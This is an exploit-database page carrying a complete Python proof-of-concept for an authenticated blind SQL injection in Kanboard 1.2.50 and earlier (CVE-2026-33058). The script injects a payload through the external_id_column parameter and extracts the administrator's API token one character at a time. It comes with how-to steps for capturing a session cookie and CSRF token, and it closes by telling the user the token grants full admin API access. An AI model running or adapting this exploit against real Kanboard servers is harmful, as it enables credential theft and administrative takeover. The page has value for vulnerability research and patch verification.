Kanboard <= 1.2.50 Authenticated SQL Injection

#!/usr/bin/env python3 # Exploit Title: Kanboard Authenticated SQL Injection in ProjectPermissionController # CVE: CVE-2026-33058 # Date: 2026-03-18 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://kanboard.org # Software Link: https://github.com/kanboard/kanboard # Affected: Kanboard <= 1.2.50 # Tested on: Kanboard 1.2.50 (SQLite) # Category: Webapps # Platform: PHP # Exploit Type: Remote # CVSS: 8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H # Description: Authenticated SQL injection via external_id_column parameter when adding a user to a project. # Allows extraction of sensitive data (API tokens, password hashes, emails, etc.) # Fixed in: 1.2.51 # Usage: # python3 exploit.py <base_url> <project_id> <KB_SID> <csrf_token> # # Examples: # python3 exploit.py http://kanboard.local 1 abc123xyz CSRF-abcdef1234567890 # # Options: # -- # # Notes: # • Requires valid authenticated session and CSRF token # • Targets admin API token by default (blind boolean-based) # • Adjust success condition in send_injection() if needed # # How to Use # # Step 1: Log in to Kanboard with an account that has permission to add users to a project # # Step 2: Open browser dev tools → Network tab → go to project permissions page → copy: # • KB_SID cookie value # • csrf_token value from the form (or from any POST request) # # Step 3: Run the script with the collected values # import sys import requests import string import time BASE_URL = sys.argv[1].rstrip('/') PROJECT_ID = sys.argv[2] KB_SID = sys.argv[3] CSRF_TOKEN = sys.argv[4] COOKIES = { "KB_SID": KB_SID, } HEADERS = { "Content-Type": "application/x-www-form-urlencoded", "Referer": f"{BASE_URL}/project/{PROJECT_ID}/permissions" } def send_injection(payload): data = { "csrf_token": CSRF_TOKEN, "user_id": "", "username": "testinj", "external_id": "dummy", "external_id_column": payload, "name": "Test Injection", "role": "project-member" } r = requests.post( f"{BASE_URL}/?controller=ProjectPermissionController&action=addUser&project_id={PROJECT_ID}", data=data, cookies=COOKIES, headers=HEADERS, allow_redirects=False ) return "error" not in r.text.lower() and r.status_code == 302 def bool_query(condition): payload = f"id) OR (SELECT CASE WHEN ({condition}) THEN 1 ELSE (SELECT 1 WHERE 0) END FROM users WHERE role='app-admin' LIMIT 1) -- " return send_injection(payload) def extract_admin_api_token(): token = "" charset = string.ascii_letters + string.digits + "-_" print("[*] Extracting admin API token (blind boolean)...") for pos in range(1, 41): found = False for c in charset: condition = f"substr((SELECT api_access_token FROM users WHERE role='app-admin' LIMIT 1),{pos},1)='{c}'" if bool_query(condition): token += c print(f"[+] Position {pos}: {c} → {token}") found = True break time.sleep(0.3) if not found: print(f"[+] Token extraction finished: {token}") break return token if __name__ == "__main__": if len(sys.argv) != 5: print("Usage: python3 exploit.py <base_url> <project_id> <KB_SID> <csrf_token>") sys.exit(1) extracted = extract_admin_api_token() if extracted: print(f"\n[!] Extracted admin API token: {extracted}") print("You can now use this token for full API access as admin.")

References:

Official advisory:
https://github.com/kanboard/kanboard/security/advisories/GHSA-f62r-m4mr-2xhh
Vendor homepage:
https://kanboard.org
Software repository:
https://github.com/kanboard/kanboard


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2026, cxsecurity.com

 

Back to Top